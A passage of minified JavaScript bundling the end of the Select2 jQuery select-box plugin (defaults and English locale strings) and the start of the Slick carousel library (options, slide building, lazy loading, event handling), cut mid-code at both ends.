this.each(function(){if(0===s.length||"object"==typeof s[0])(e=0===s.length?{}:v.extend({},s[0])).element=v(this),"select"===e.element.get(0).tagName.toLowerCase()?i=e.element.prop("multiple"):(i=e.multiple||!1,"tags"in e&&(e.multiple=i=!0)),(t=new(i?window.Select2.class.multi:window.Select2.class.single)).init(e);else{if("string"!=typeof s[0])throw"Invalid arguments to select2 plugin: "+s;if(u(s[0],o)<0)throw"Unknown method: "+s[0];if(n=b,(t=v(this).data("select2"))!==b)return e=s[0],n="container"===e?t.container:"dropdown"===e?t.dropdown:t[e=l[e]?l[e]:e].apply(t,s.slice(1)),!(0<=u(s[0],a)||0<=u(s[0],r)&&1==s.length)&&void 0}}),n===b?this:n},v.fn.select2.defaults={debug:!1,width:"copy",loadMorePadding:0,closeOnSelect:!0,openOnEnter:!0,containerCss:{},dropdownCss:{},containerCssClass:"",dropdownCssClass:"",formatResult:function(t,e,n,i){var s=[];return C(this.text(t),n.term,s,i),s.join("")},transformVal:function(t){return v.trim(t)},formatSelection:function(t,e,n){return t?n(this.text(t)):b},sortResults:function(t,e,n){return t},formatResultCssClass:function(t){return t.css},formatSelectionCssClass:function(t,e){return b},minimumResultsForSearch:0,minimumInputLength:0,maximumInputLength:null,maximumSelectionSize:0,id:function(t){return t==b?null:t.id},text:function(t){return t&&this.data&&this.data.text?v.isFunction(this.data.text)?this.data.text(t):t[this.data.text]:t.text},matcher:function(t,e){return 0<=h(""+e).toUpperCase().indexOf(h(""+t).toUpperCase())},separator:",",tokenSeparators:[],tokenizer:function(t,e,n,i){var s,o,a,r,l,c=t,h=!1;if(!i.createSearchChoice||!i.tokenSeparators||i.tokenSeparators.length<1)return b;for(;;){for(o=-1,a=0,r=i.tokenSeparators.length;a<r&&(l=i.tokenSeparators[a],!(0<=(o=t.indexOf(l))));a++);if(o<0)break;if(s=t.substring(0,o),t=t.substring(o+l.length),0<s.length&&(s=i.createSearchChoice.call(this,s,e))!==b&&null!==s&&i.id(s)!==b&&null!==i.id(s)){for(h=!1,a=0,r=e.length;a<r;a++)if(d(i.id(s),i.id(e[a]))){h=!0;break}h||n(s)}}return c!==t?t:void 0},escapeMarkup:T,blurOnChange:!1,selectOnBlur:!1,adaptContainerCssClass:function(t){return t},adaptDropdownCssClass:function(t){return null},nextSearchTerm:function(t,e){return b},searchInputPlaceholder:"",createSearchChoicePosition:"top",shouldFocusInput:function(t){return!(("ontouchstart"in window||0<navigator.msMaxTouchPoints)&&t.opts.minimumResultsForSearch<0)}},v.fn.select2.locales=[],v.fn.select2.locales.en={formatMatches:function(t){return 1===t?"One result is available, press enter to select it.":t+" results are available, use up and down arrow keys to navigate."},formatNoMatches:function(){return"No matches found"},formatAjaxError:function(t,e,n){return"Loading failed"},formatInputTooShort:function(t,e){e-=t.length;return"Please enter "+e+" or more character"+(1==e?"":"s")},formatInputTooLong:function(t,e){t=t.length-e;return"Please delete "+t+" character"+(1==t?"":"s")},formatSelectionTooBig:function(t){return"You can only select "+t+" item"+(1==t?"":"s")},formatLoadMore:function(t){return"Loading more results…"},formatSearching:function(){return"Searching…"}},v.extend(v.fn.select2.defaults,v.fn.select2.locales.en),v.fn.select2.ajaxDefaults={transport:v.ajax,params:{type:"GET",cache:!1,dataType:"json"}},window.Select2={query:{ajax:x,local:k,tags:D},util:{debounce:S,markMatch:C,escapeMarkup:T,stripDiacritics:h},class:{abstract:t,single:e,multi:n}})}(jQuery),!function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],t):"undefined"!=typeof exports?module.exports=t(require("jquery")):t(jQuery)}(function(c){"use strict";var i,a=window.Slick||{};i=0,(a=function(t,e){var n=this;n.defaults={accessibility:!0,adaptiveHeight:!1,appendArrows:c(t),appendDots:c(t),arrows:!0,asNavFor:null,prevArrow:'<button type="button" data-role="none" class="slick-prev" aria-label="Previous" tabindex="0" role="button">Previous</button>',nextArrow:'<button type="button" data-role="none" class="slick-next" aria-label="Next" tabindex="0" role="button">Next</button>',autoplay:!1,autoplaySpeed:3e3,centerMode:!1,centerPadding:"50px",cssEase:"ease",customPaging:function(t,e){return c('<button type="button" data-role="none" role="button" tabindex="0" />').text(e+1)},dots:!1,dotsClass:"slick-dots",draggable:!0,easing:"linear",edgeFriction:.35,fade:!1,focusOnSelect:!1,infinite:!0,initialSlide:0,lazyLoad:"ondemand",mobileFirst:!1,pauseOnHover:!0,pauseOnFocus:!0,pauseOnDotsHover:!1,respondTo:"window",responsive:null,rows:1,rtl:!1,slide:"",slidesPerRow:1,slidesToShow:1,slidesToScroll:1,speed:500,swipe:!0,swipeToSlide:!1,touchMove:!0,touchThreshold:5,useCSS:!0,useTransform:!0,variableWidth:!1,vertical:!1,verticalSwiping:!1,waitForAnimate:!0,zIndex:1e3},n.initials={animating:!1,dragging:!1,autoPlayTimer:null,currentDirection:0,currentLeft:null,currentSlide:0,direction:1,$dots:null,listWidth:null,listHeight:null,loadIndex:0,$nextArrow:null,$prevArrow:null,slideCount:null,slideWidth:null,$slideTrack:null,$slides:null,sliding:!1,slideOffset:0,swipeLeft:null,$list:null,touchObject:{},transformsEnabled:!1,unslicked:!1},c.extend(n,n.initials),n.activeBreakpoint=null,n.animType=null,n.animProp=null,n.breakpoints=[],n.breakpointSettings=[],n.cssTransitions=!1,n.focussed=!1,n.interrupted=!1,n.hidden="hidden",n.paused=!0,n.positionProp=null,n.respondTo=null,n.rowCount=1,n.shouldClick=!0,n.$slider=c(t),n.$slidesCache=null,n.transformType=null,n.transitionType=null,n.visibilityChange="visibilitychange",n.windowWidth=0,n.windowTimer=null,t=c(t).data("slick")||{},n.options=c.extend({},n.defaults,e,t),n.currentSlide=n.options.initialSlide,n.originalSettings=n.options,void 0!==document.mozHidden?(n.hidden="mozHidden",n.visibilityChange="mozvisibilitychange"):void 0!==document.webkitHidden&&(n.hidden="webkitHidden",n.visibilityChange="webkitvisibilitychange"),n.autoPlay=c.proxy(n.autoPlay,n),n.autoPlayClear=c.proxy(n.autoPlayClear,n),n.autoPlayIterator=c.proxy(n.autoPlayIterator,n),n.changeSlide=c.proxy(n.changeSlide,n),n.clickHandler=c.proxy(n.clickHandler,n),n.selectHandler=c.proxy(n.selectHandler,n),n.setPosition=c.proxy(n.setPosition,n),n.swipeHandler=c.proxy(n.swipeHandler,n),n.dragHandler=c.proxy(n.dragHandler,n),n.keyHandler=c.proxy(n.keyHandler,n),n.instanceUid=i++,n.htmlExpr=/^(?:\s*(<[\w\W]+>)[^>]*)$/,n.registerBreakpoints(),n.init(!0)}).prototype.activateADA=function(){this.$slideTrack.find(".slick-active").attr({"aria-hidden":"false"}).find("a, input, button, select").attr({tabindex:"0"})},a.prototype.addSlide=a.prototype.slickAdd=function(t,e,n){var i=this;if("boolean"==typeof e)n=e,e=null;else if(e<0||e>=i.slideCount)return!1;i.unload(),"number"==typeof e?0===e&&0===i.$slides.length?c(t).appendTo(i.$slideTrack):n?c(t).insertBefore(i.$slides.eq(e)):c(t).insertAfter(i.$slides.eq(e)):!0===n?c(t).prependTo(i.$slideTrack):c(t).appendTo(i.$slideTrack),i.$slides=i.$slideTrack.children(this.options.slide),i.$slideTrack.children(this.options.slide).detach(),i.$slideTrack.append(i.$slides),i.$slides.each(function(t,e){c(e).attr("data-slick-index",t)}),i.$slidesCache=i.$slides,i.reinit()},a.prototype.animateHeight=function(){var t,e=this;1===e.options.slidesToShow&&!0===e.options.adaptiveHeight&&!1===e.options.vertical&&(t=e.$slides.eq(e.currentSlide).outerHeight(!0),e.$list.animate({height:t},e.options.speed))},a.prototype.animateSlide=function(t,e){var n={},i=this;i.animateHeight(),!0===i.options.rtl&&!1===i.options.vertical&&(t=-t),!1===i.transformsEnabled?!1===i.options.vertical?i.$slideTrack.animate({left:t},i.options.speed,i.options.easing,e):i.$slideTrack.animate({top:t},i.options.speed,i.options.easing,e):!1===i.cssTransitions?(!0===i.options.rtl&&(i.currentLeft=-i.currentLeft),c({animStart:i.currentLeft}).animate({animStart:t},{duration:i.options.speed,easing:i.options.easing,step:function(t){t=Math.ceil(t),!1===i.options.vertical?n[i.animType]="translate("+t+"px, 0px)":n[i.animType]="translate(0px,"+t+"px)",i.$slideTrack.css(n)},complete:function(){e&&e.call()}})):(i.applyTransition(),t=Math.ceil(t),!1===i.options.vertical?n[i.animType]="translate3d("+t+"px, 0px, 0px)":n[i.animType]="translate3d(0px,"+t+"px, 0px)",i.$slideTrack.css(n),e&&setTimeout(function(){i.disableTransition(),e.call()},i.options.speed))},a.prototype.getNavTarget=function(){var t=this.options.asNavFor;return t=t&&null!==t?c(t).not(this.$slider):t},a.prototype.asNavFor=function(e){var t=this.getNavTarget();null!==t&&"object"==typeof t&&t.each(function(){var t=c(this).slick("getSlick");t.unslicked||t.slideHandler(e,!0)})},a.prototype.applyTransition=function(t){var e=this,n={};!1===e.options.fade?n[e.transitionType]=e.transformType+" "+e.options.speed+"ms "+e.options.cssEase:n[e.transitionType]="opacity "+e.options.speed+"ms "+e.options.cssEase,(!1===e.options.fade?e.$slideTrack:e.$slides.eq(t)).css(n)},a.prototype.autoPlay=function(){var t=this;t.autoPlayClear(),t.slideCount>t.options.slidesToShow&&(t.autoPlayTimer=setInterval(t.autoPlayIterator,t.options.autoplaySpeed))},a.prototype.autoPlayClear=function(){this.autoPlayTimer&&clearInterval(this.autoPlayTimer)},a.prototype.autoPlayIterator=function(){var t=this,e=t.currentSlide+t.options.slidesToScroll;t.paused||t.interrupted||t.focussed||(!1===t.options.infinite&&(1===t.direction&&t.currentSlide+1===t.slideCount-1?t.direction=0:0===t.direction&&(e=t.currentSlide-t.options.slidesToScroll,t.currentSlide-1==0)&&(t.direction=1)),t.slideHandler(e))},a.prototype.buildArrows=function(){var t=this;!0===t.options.arrows&&(t.$prevArrow=c(t.options.prevArrow).addClass("slick-arrow"),t.$nextArrow=c(t.options.nextArrow).addClass("slick-arrow"),t.slideCount>t.options.slidesToShow?(t.$prevArrow.removeClass("slick-hidden").removeAttr("aria-hidden tabindex"),t.$nextArrow.removeClass("slick-hidden").removeAttr("aria-hidden tabindex"),t.htmlExpr.test(t.options.prevArrow)&&t.$prevArrow.prependTo(t.options.appendArrows),t.htmlExpr.test(t.options.nextArrow)&&t.$nextArrow.appendTo(t.options.appendArrows),!0!==t.options.infinite&&t.$prevArrow.addClass("slick-disabled").attr("aria-disabled","true")):t.$prevArrow.add(t.$nextArrow).addClass("slick-hidden").attr({"aria-disabled":"true",tabindex:"-1"}))},a.prototype.buildDots=function(){var t,e,n=this;if(!0===n.options.dots&&n.slideCount>n.options.slidesToShow){for(n.$slider.addClass("slick-dotted"),e=c("<ul />").addClass(n.options.dotsClass),t=0;t<=n.getDotCount();t+=1)e.append(c("<li />").append(n.options.customPaging.call(this,n,t)));n.$dots=e.appendTo(n.options.appendDots),n.$dots.find("li").first().addClass("slick-active").attr("aria-hidden","false")}},a.prototype.buildOut=function(){var t=this;t.$slides=t.$slider.children(t.options.slide+":not(.slick-cloned)").addClass("slick-slide"),t.slideCount=t.$slides.length,t.$slides.each(function(t,e){c(e).attr("data-slick-index",t).data("originalStyling",c(e).attr("style")||"")}),t.$slider.addClass("slick-slider"),t.$slideTrack=0===t.slideCount?c('<div class="slick-track"/>').appendTo(t.$slider):t.$slides.wrapAll('<div class="slick-track"/>').parent(),t.$list=t.$slideTrack.wrap('<div aria-live="polite" class="slick-list"/>').parent(),t.$slideTrack.css("opacity",0),!0!==t.options.centerMode&&!0!==t.options.swipeToSlide||(t.options.slidesToScroll=1),c("img[data-lazy]",t.$slider).not("[src]").addClass("slick-loading"),t.setupInfinite(),t.buildArrows(),t.buildDots(),t.updateDots(),t.setSlideClasses("number"==typeof t.currentSlide?t.currentSlide:0),!0===t.options.draggable&&t.$list.addClass("draggable")},a.prototype.buildRows=function(){var t,e,n,i=this,s=document.createDocumentFragment(),o=i.$slider.children();if(1<i.options.rows){for(n=i.options.slidesPerRow*i.options.rows,e=Math.ceil(o.length/n),t=0;t<e;t++){for(var a=document.createElement("div"),r=0;r<i.options.rows;r++){for(var l=document.createElement("div"),c=0;c<i.options.slidesPerRow;c++){var h=t*n+(r*i.options.slidesPerRow+c);o.get(h)&&l.appendChild(o.get(h))}a.appendChild(l)}s.appendChild(a)}i.$slider.empty().append(s),i.$slider.children().children().children().css({width:100/i.options.slidesPerRow+"%",display:"inline-block"})}},a.prototype.checkResponsive=function(t,e){var n,i,s,o=this,a=!1,r=o.$slider.width(),l=window.innerWidth||c(window).width();if("window"===o.respondTo?s=l:"slider"===o.respondTo?s=r:"min"===o.respondTo&&(s=Math.min(l,r)),o.options.responsive&&o.options.responsive.length&&null!==o.options.responsive){for(n in i=null,o.breakpoints)o.breakpoints.hasOwnProperty(n)&&(!1===o.originalSettings.mobileFirst?s<o.breakpoints[n]&&(i=o.breakpoints[n]):s>o.breakpoints[n]&&(i=o.breakpoints[n]));null!==i?null!==o.activeBreakpoint&&i===o.activeBreakpoint&&!e||(o.activeBreakpoint=i,"unslick"===o.breakpointSettings[i]?o.unslick(i):(o.options=c.extend({},o.originalSettings,o.breakpointSettings[i]),!0===t&&(o.currentSlide=o.options.initialSlide),o.refresh(t)),a=i):null!==o.activeBreakpoint&&(o.activeBreakpoint=null,o.options=o.originalSettings,!0===t&&(o.currentSlide=o.options.initialSlide),o.refresh(t),a=i),t||!1===a||o.$slider.trigger("breakpoint",[o,a])}},a.prototype.changeSlide=function(t,e){var n,i=this,s=c(t.currentTarget);switch(s.is("a")&&t.preventDefault(),s.is("li")||(s=s.closest("li")),n=i.slideCount%i.options.slidesToScroll!=0?0:(i.slideCount-i.currentSlide)%i.options.slidesToScroll,t.data.message){case"previous":o=0==n?i.options.slidesToScroll:i.options.slidesToShow-n,i.slideCount>i.options.slidesToShow&&i.slideHandler(i.currentSlide-o,!1,e);break;case"next":o=0==n?i.options.slidesToScroll:n,i.slideCount>i.options.slidesToShow&&i.slideHandler(i.currentSlide+o,!1,e);break;case"index":var o=0===t.data.index?0:t.data.index||s.index()*i.options.slidesToScroll;i.slideHandler(i.checkNavigable(o),!1,e),s.children().trigger("focus");break;default:return}},a.prototype.checkNavigable=function(t){var e=this.getNavigableIndexes(),n=0;if(t>e[e.length-1])t=e[e.length-1];else for(var i in e){if(t<e[i]){t=n;break}n=e[i]}return t},a.prototype.cleanUpEvents=function(){var t=this;t.options.dots&&null!==t.$dots&&c("li",t.$dots).off("click.slick",t.changeSlide).off("mouseenter.slick",c.proxy(t.interrupt,t,!0)).off("mouseleave.slick",c.proxy(t.interrupt,t,!1)),t.$slider.off("focus.slick blur.slick"),!0===t.options.arrows&&t.slideCount>t.options.slidesToShow&&(t.$prevArrow&&t.$prevArrow.off("click.slick",t.changeSlide),t.$nextArrow)&&t.$nextArrow.off("click.slick",t.changeSlide),t.$list.off("touchstart.slick mousedown.slick",t.swipeHandler),t.$list.off("touchmove.slick mousemove.slick",t.swipeHandler),t.$list.off("touchend.slick mouseup.slick",t.swipeHandler),t.$list.off("touchcancel.slick mouseleave.slick",t.swipeHandler),t.$list.off("click.slick",t.clickHandler),c(document).off(t.visibilityChange,t.visibility),t.cleanUpSlideEvents(),!0===t.options.accessibility&&t.$list.off("keydown.slick",t.keyHandler),!0===t.options.focusOnSelect&&c(t.$slideTrack).children().off("click.slick",t.selectHandler),c(window).off("orientationchange.slick.slick-"+t.instanceUid,t.orientationChange),c(window).off("resize.slick.slick-"+t.instanceUid,t.resize),c("[draggable!=true]",t.$slideTrack).off("dragstart",t.preventDefault),c(window).off("load.slick.slick-"+t.instanceUid,t.setPosition),c(document).off("ready.slick.slick-"+t.instanceUid,t.setPosition)},a.prototype.cleanUpSlideEvents=function(){var t=this;t.$list.off("mouseenter.slick",c.proxy(t.interrupt,t,!0)),t.$list.off("mouseleave.slick",c.proxy(t.interrupt,t,!1))},a.prototype.cleanUpRows=function(){var t;1<this.options.rows&&((t=this.$slides.children().children()).removeAttr("style"),this.$slider.empty().append(t))},a.prototype.clickHandler=function(t){!1===this.shouldClick&&(t.stopImmediatePropagation(),t.stopPropagation(),t.preventDefault())},a.prototype.destroy=function(t){var e=this;e.autoPlayClear(),e.touchObject={},e.cleanUpEvents(),c(".slick-cloned",e.$slider).detach(),e.$dots&&e.$dots.remove(),e.$prevArrow&&e.$prevArrow.length&&(e.$prevArrow.removeClass("slick-disabled slick-arrow slick-hidden").removeAttr("aria-hidden aria-disabled tabindex").css("display",""),e.htmlExpr.test(e.options.prevArrow))&&e.$prevArrow.remove(),e.$nextArrow&&e.$nextArrow.length&&(e.$nextArrow.removeClass("slick-disabled slick-arrow slick-hidden").removeAttr("aria-hidden aria-disabled tabindex").css("display",""),e.htmlExpr.test(e.options.nextArrow))&&e.$nextArrow.remove(),e.$slides&&(e.$slides.removeClass("slick-slide slick-active slick-center slick-visible slick-current").removeAttr("aria-hidden").removeAttr("data-slick-index").each(function(){c(this).attr("style",c(this).data("originalStyling"))}),e.$slideTrack.children(this.options.slide).detach(),e.$slideTrack.detach(),e.$list.detach(),e.$slider.append(e.$slides)),e.cleanUpRows(),e.$slider.removeClass("slick-slider"),e.$slider.removeClass("slick-initialized"),e.$slider.removeClass("slick-dotted"),e.unslicked=!0,t||e.$slider.trigger("destroy",[e])},a.prototype.disableTransition=function(t){var e={};e[this.transitionType]="",(!1===this.options.fade?this.$slideTrack:this.$slides.eq(t)).css(e)},a.prototype.fadeSlide=function(t,e){var n=this;!1===n.cssTransitions?(n.$slides.eq(t).css({zIndex:n.options.zIndex}),n.$slides.eq(t).animate({opacity:1},n.options.speed,n.options.easing,e)):(n.applyTransition(t),n.$slides.eq(t).css({opacity:1,zIndex:n.options.zIndex}),e&&setTimeout(function(){n.disableTransition(t),e.call()},n.options.speed))},a.prototype.fadeSlideOut=function(t){var e=this;!1===e.cssTransitions?e.$slides.eq(t).animate({opacity:0,zIndex:e.options.zIndex-2},e.options.speed,e.options.easing):(e.applyTransition(t),e.$slides.eq(t).css({opacity:0,zIndex:e.options.zIndex-2}))},a.prototype.filterSlides=a.prototype.slickFilter=function(t){var e=this;null!==t&&(e.$slidesCache=e.$slides,e.unload(),e.$slideTrack.children(this.options.slide).detach(),e.$slidesCache.filter(t).appendTo(e.$slideTrack),e.reinit())},a.prototype.focusHandler=function(){var n=this;n.$slider.off("focus.slick blur.slick").on("focus.slick blur.slick","*:not(.slick-arrow)",function(t){t.stopImmediatePropagation();var e=c(this);setTimeout(function(){n.options.pauseOnFocus&&(n.focussed=e.is(":focus"),n.autoPlay())},0)})},a.prototype.getCurrent=a.prototype.slickCurrentSlide=function(){return this.currentSlide},a.prototype.getDotCount=function(){var t=this,e=0,n=0,i=0;if(!0===t.options.infinite)for(;e<t.slideCount;)++i,e=n+t.options.slidesToScroll,n+=t.options.slidesToScroll<=t.options.slidesToShow?t.options.slidesToScroll:t.options.slidesToShow;else if(!0===t.options.centerMode)i=t.slideCount;else if(t.options.asNavFor)for(;e<t.slideCount;)++i,e=n+t.options.slidesToScroll,n+=t.options.slidesToScroll<=t.options.slidesToShow?t.options.slidesToScroll:t.options.slidesToShow;else i=1+Math.ceil((t.slideCount-t.options.slidesToShow)/t.options.slidesToScroll);return i-1},a.prototype.getLeft=function(t){var e,n=this,i=0;return n.slideOffset=0,e=n.$slides.first().outerHeight(!0),!0===n.options.infinite?(n.slideCount>n.options.slidesToShow&&(n.slideOffset=n.slideWidth*n.options.slidesToShow*-1,i=e*n.options.slidesToShow*-1),n.slideCount%n.options.slidesToScroll!=0&&t+n.options.slidesToScroll>n.slideCount&&n.slideCount>n.options.slidesToShow&&(i=t>n.slideCount?(n.slideOffset=(n.options.slidesToShow-(t-n.slideCount))*n.slideWidth*-1,(n.options.slidesToShow-(t-n.slideCount))*e*-1):(n.slideOffset=n.slideCount%n.options.slidesToScroll*n.slideWidth*-1,n.slideCount%n.options.slidesToScroll*e*-1))):t+n.options.slidesToShow>n.slideCount&&(n.slideOffset=(t+n.options.slidesToShow-n.slideCount)*n.slideWidth,i=(t+n.options.slidesToShow-n.slideCount)*e),n.slideCount<=n.options.slidesToShow&&(i=n.slideOffset=0),!0===n.options.centerMode&&!0===n.options.infinite?n.slideOffset+=n.slideWidth*Math.floor(n.options.slidesToShow/2)-n.slideWidth:!0===n.options.centerMode&&(n.slideOffset=0,n.slideOffset+=n.slideWidth*Math.floor(n.options.slidesToShow/2)),e=!1===n.options.vertical?t*n.slideWidth*-1+n.slideOffset:t*e*-1+i,!0===n.options.variableWidth&&(i=n.slideCount<=n.options.slidesToShow||!1===n.options.infinite?n.$slideTrack.children(".slick-slide").eq(t):n.$slideTrack.children(".slick-slide").eq(t+n.options.slidesToShow),e=!0===n.options.rtl?i[0]?-1*(n.$slideTrack.width()-i[0].offsetLeft-i.width()):0:i[0]?-1*i[0].offsetLeft:0,!0===n.options.centerMode)&&(i=n.slideCount<=n.options.slidesToShow||!1===n.options.infinite?n.$slideTrack.children(".slick-slide").eq(t):n.$slideTrack.children(".slick-slide").eq(t+n.options.slidesToShow+1),e=!0===n.options.rtl?i[0]?-1*(n.$slideTrack.width()-i[0].offsetLeft-i.width()):0:i[0]?-1*i[0].offsetLeft:0,e+=(n.$list.width()-i.outerWidth())/2),e},a.prototype.getOption=a.prototype.slickGetOption=function(t){return this.options[t]},a.prototype.getNavigableIndexes=function(){for(var t=this,e=0,n=0,i=[],s=!1===t.options.infinite?t.slideCount:(e=-1*t.options.slidesToScroll,n=-1*t.options.slidesToScroll,2*t.slideCount);e<s;)i.push(e),e=n+t.options.slidesToScroll,n+=t.options.slidesToScroll<=t.options.slidesToShow?t.options.slidesToScroll:t.options.slidesToShow;return i},a.prototype.getSlick=function(){return this},a.prototype.getSlideCount=function(){var n,i=this,s=!0===i.options.centerMode?i.slideWidth*Math.floor(i.options.slidesToShow/2):0;return!0===i.options.swipeToSlide?(i.$slideTrack.find(".slick-slide").each(function(t,e){if(e.offsetLeft-s+c(e).outerWidth()/2>-1*i.swipeLeft)return n=e,!1}),Math.abs(c(n).attr("data-slick-index")-i.currentSlide)||1):i.options.slidesToScroll},a.prototype.goTo=a.prototype.slickGoTo=function(t,e){this.changeSlide({data:{message:"index",index:parseInt(t)}},e)},a.prototype.init=function(t){var e=this;c(e.$slider).hasClass("slick-initialized")||(c(e.$slider).addClass("slick-initialized"),e.buildRows(),e.buildOut(),e.setProps(),e.startLoad(),e.loadSlider(),e.initializeEvents(),e.updateArrows(),e.updateDots(),e.checkResponsive(!0),e.focusHandler()),t&&e.$slider.trigger("init",[e]),!0===e.options.accessibility&&e.initADA(),e.options.autoplay&&(e.paused=!1,e.autoPlay())},a.prototype.initADA=function(){var e=this;e.$slides.add(e.$slideTrack.find(".slick-cloned")).attr({"aria-hidden":"true",tabindex:"-1"}).find("a, input, button, select").attr({tabindex:"-1"}),e.$slideTrack.attr("role","listbox"),e.$slides.not(e.$slideTrack.find(".slick-cloned")).each(function(t){c(this).attr({role:"option","aria-describedby":"slick-slide"+e.instanceUid+t})}),null!==e.$dots&&e.$dots.attr("role","tablist").find("li").each(function(t){c(this).attr({role:"presentation","aria-selected":"false","aria-controls":"navigation"+e.instanceUid+t,id:"slick-slide"+e.instanceUid+t})}).first().attr("aria-selected","true").end().find("button").attr("role","button").end().closest("div").attr("role","toolbar"),e.activateADA()},a.prototype.initArrowEvents=function(){var t=this;!0===t.options.arrows&&t.slideCount>t.options.slidesToShow&&(t.$prevArrow.off("click.slick").on("click.slick",{message:"previous"},t.changeSlide),t.$nextArrow.off("click.slick").on("click.slick",{message:"next"},t.changeSlide))},a.prototype.initDotEvents=function(){var t=this;!0===t.options.dots&&t.slideCount>t.options.slidesToShow&&c("li",t.$dots).on("click.slick",{message:"index"},t.changeSlide),!0===t.options.dots&&!0===t.options.pauseOnDotsHover&&c("li",t.$dots).on("mouseenter.slick",c.proxy(t.interrupt,t,!0)).on("mouseleave.slick",c.proxy(t.interrupt,t,!1))},a.prototype.initSlideEvents=function(){var t=this;t.options.pauseOnHover&&(t.$list.on("mouseenter.slick",c.proxy(t.interrupt,t,!0)),t.$list.on("mouseleave.slick",c.proxy(t.interrupt,t,!1)))},a.prototype.initializeEvents=function(){var t=this;t.initArrowEvents(),t.initDotEvents(),t.initSlideEvents(),t.$list.on("touchstart.slick mousedown.slick",{action:"start"},t.swipeHandler),t.$list.on("touchmove.slick mousemove.slick",{action:"move"},t.swipeHandler),t.$list.on("touchend.slick mouseup.slick",{action:"end"},t.swipeHandler),t.$list.on("touchcancel.slick mouseleave.slick",{action:"end"},t.swipeHandler),t.$list.on("click.slick",t.clickHandler),c(document).on(t.visibilityChange,c.proxy(t.visibility,t)),!0===t.options.accessibility&&t.$list.on("keydown.slick",t.keyHandler),!0===t.options.focusOnSelect&&c(t.$slideTrack).children().on("click.slick",t.selectHandler),c(window).on("orientationchange.slick.slick-"+t.instanceUid,c.proxy(t.orientationChange,t)),c(window).on("resize.slick.slick-"+t.instanceUid,c.proxy(t.resize,t)),c("[draggable!=true]",t.$slideTrack).on("dragstart",t.preventDefault),c(window).on("load.slick.slick-"+t.instanceUid,t.setPosition),c(document).on("ready.slick.slick-"+t.instanceUid,t.setPosition)},a.prototype.initUI=function(){var t=this;!0===t.options.arrows&&t.slideCount>t.options.slidesToShow&&(t.$prevArrow.show(),t.$nextArrow.show()),!0===t.options.dots&&t.slideCount>t.options.slidesToShow&&t.$dots.show()},a.prototype.keyHandler=function(t){var e=this;t.target.tagName.match("TEXTAREA|INPUT|SELECT")||(37===t.keyCode&&!0===e.options.accessibility?e.changeSlide({data:{message:!0===e.options.rtl?"next":"previous"}}):39===t.keyCode&&!0===e.options.accessibility&&e.changeSlide({data:{message:!0===e.options.rtl?"previous":"next"}}))},a.prototype.lazyLoad=function(){var t,e,i=this;function n(t){c("img[data-lazy]",t).each(function(){var t=c(this),e=c(this).attr("data-lazy"),n=document.createElement("img");n.onload=function(){t.animate({opacity:0},100,function(){t.attr("src",e).animate({opacity:1},200,function(){t.removeAttr("data-lazy").removeClass("slick-loading")}),i.$slider.trigger("lazyLoaded",[i,t,e])})},n.onerror=function(){t.removeAttr("data-lazy").removeClass("slick-loading").addClass("slick-lazyload-error"),i.$slider.trigger("lazyLoadError",[i,t,e])},n.src=e})}!0===i.options.centerMode?e=!0===i.options.infinite?(t=i.currentSlide+(i.options.slidesToShow/2+1))+i.options.slidesToShow+2:(t=Math.max(0,i.currentSlide-(i.options.slidesToShow/2+1)),i.options.slidesToShow/2+1+2+i.currentSlide):(t=i.options.infinite?i.options.slidesToShow+i.currentSlide:i.currentSlide,e=Math.ceil(t+i.options.slidesToShow),!0===i.options.fade&&(0<t&&t--,e<=i.slideCount)&&e++),n(i.$slider.find(".slick-slide").slice(t,e)),i.slideCount<=i.options.slidesToShow?n(i.$slider.find(".slick-slide")):i.currentSlide>=i.slideCount-i.options.slidesToShow?n(i.$slider.find(".slick-cloned").slice(0,i.options.slidesToShow)):0===i.currentSlide&&n(i.$slider.find(".slick-cloned").slice(-1*i.options.slidesToShow))},a.prototype.loadSlider=function(){var t=this;t.setPosition(),t.$slideTrack.css({opacity:1}),t.$slider.removeClass("slick-loading"),t.initUI(),"progressive"===t.options.lazyLoad&&t.progressiveLazyLoad()},a.prototype.next=a.prototype.slickNext=function(){this.changeSlide({data:{message:"next"}})},a.prototype.orientationChange=function(){this.checkResponsive(),this.setPosition()},a.prototype.pause=a.prototype.slickPause=function(){this.autoPlayClear(),this.paused=!0},a.prototype.play=a.prototype.slickPlay=function(){var t=this;t.autoPlay(),t.options.autoplay=!0,t.paused=!1,t.focussed=!1,t.interrupted=!1},a.prototype.postSlide=function(t){var e=this;e.unslicked||(e.$slider.trigger("afterChange",[e,t]),e.animating=!1,e.setPosition(),e.swipeLeft=null,e.options.autoplay&&e.autoPlay(),!0===e.options.accessibility&&e.initADA())},a.prototype.prev=a.prototype.slickPrev=function(){this.changeSlide({data:{message:"previous"}})},a.prototype.preventDefault=function(t){t.preventDefault()},a.prototype.progressiveLazyLoad=function(t){t=t||1;var e,n,i=this,s=c("img[data-lazy]",i.$slider);s.length?(e=s.first(),n=e.attr("data-lazy"),(s=document.createElement("img")).onload=function(){e.attr("src",n).removeAttr("data-lazy").removeClass("slick-loading"),!0===i.options.adaptiveHeight&&i.setPosition(),i.$slider.trigger("lazyLoaded",[i,e,n]),i.progressiveLazyLoad()},s.onerror=function(){t<3?setTimeout(function(){i.progressiveLazyLoad(t+1)},500):(e.removeAttr("data-lazy").removeClass("slick-loading").addClass("slick-lazyload-error"),i.$slider.trigger("lazyLoadError",[i,e,n]),i.progressiveLazyLoad())},s.src=n):i.$slider.trigger("allImagesLoaded",[i])},a.prototype.refresh=function(t){var e=this,n=e.slideCount-e.options.slidesToShow;!e.options.infinite&&e.currentSlide>n&&(e.currentSlide=n),e.slideCount<=e.options.slidesToShow&&(e.currentSlide=0),n=e.currentSlide,e.destroy(!0),c.extend(e,e.initials,{currentSlide:n}),e.init(),t||e.changeSlide({data:{message:"index",index:n}},!1)},a.prototype.registerBreakpoints=function(){var t,e,n,i=this,s=i.options.responsive||null;if("array"===c.type(s)&&s.length){for(t in i.respondTo=i.options.respondTo||"window",s)if(n=i.breakpoints.length-1,e=s[t].breakpoint,s.hasOwnProperty(t)){for(;0<=n;)i.breakpoints[n]&&i.breakpoints[n]===e&&i.breakpoints.splice(n,1),n--;i.breakpoints.push(e),i.breakpointSettings[e]=s[t].settings}i.breakpoints.sort(function(t,e){return i.options.mobileFirst?t-e:e-t})}},a.prototype.reinit=function(){var 